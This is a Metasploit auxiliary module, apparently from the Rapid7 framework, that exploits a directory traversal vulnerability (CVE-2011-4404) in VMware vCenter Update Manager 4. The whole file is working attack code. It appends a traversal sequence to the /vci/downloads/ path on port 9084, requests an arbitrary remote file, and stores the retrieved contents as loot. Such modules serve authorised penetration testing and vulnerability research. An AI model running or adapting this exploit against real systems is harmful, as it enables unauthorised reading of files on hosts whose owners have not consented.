##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware Update Manager 4 Directory Traversal',
        'Description' => %q{
          This modules exploits a directory traversal vulnerability in VMware Update Manager
          on port 9084.  Versions affected by this vulnerability: vCenter Update Manager
          4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Alexey Sintsov', # Initial discovery, poc
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2011-4404'],
          ['EDB', '18138'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
          ['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
        ],
        'DisclosureDate' => '2011-11-21',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9084),
        OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
        OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
      ]
    )
  end

  def run_host(ip)
    fname = File.basename(datastore['FILE'])
    traversal = '.\\..\\..\\..\\..\\..\\..\\..\\'
    uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']

    print_status("#{rhost}:#{rport} - Requesting: #{uri}")

    res = send_request_raw({
      'method' => 'GET',
      'uri' => uri
    }, 25)

    # If there's no response, don't bother
    if res.nil? || res.body.empty?
      print_error("No content retrieved from: #{ip}")
      return
    end

    if res.code == 404
      print_error("#{rhost}:#{rport} - File not found")
      return
    end

    print_good("File retrieved from: #{ip}")
    p = store_loot('vmware.traversal.file', 'application/octet-stream', rhost, res.to_s, fname)
    print_good("File stored in: #{p}")
  end
end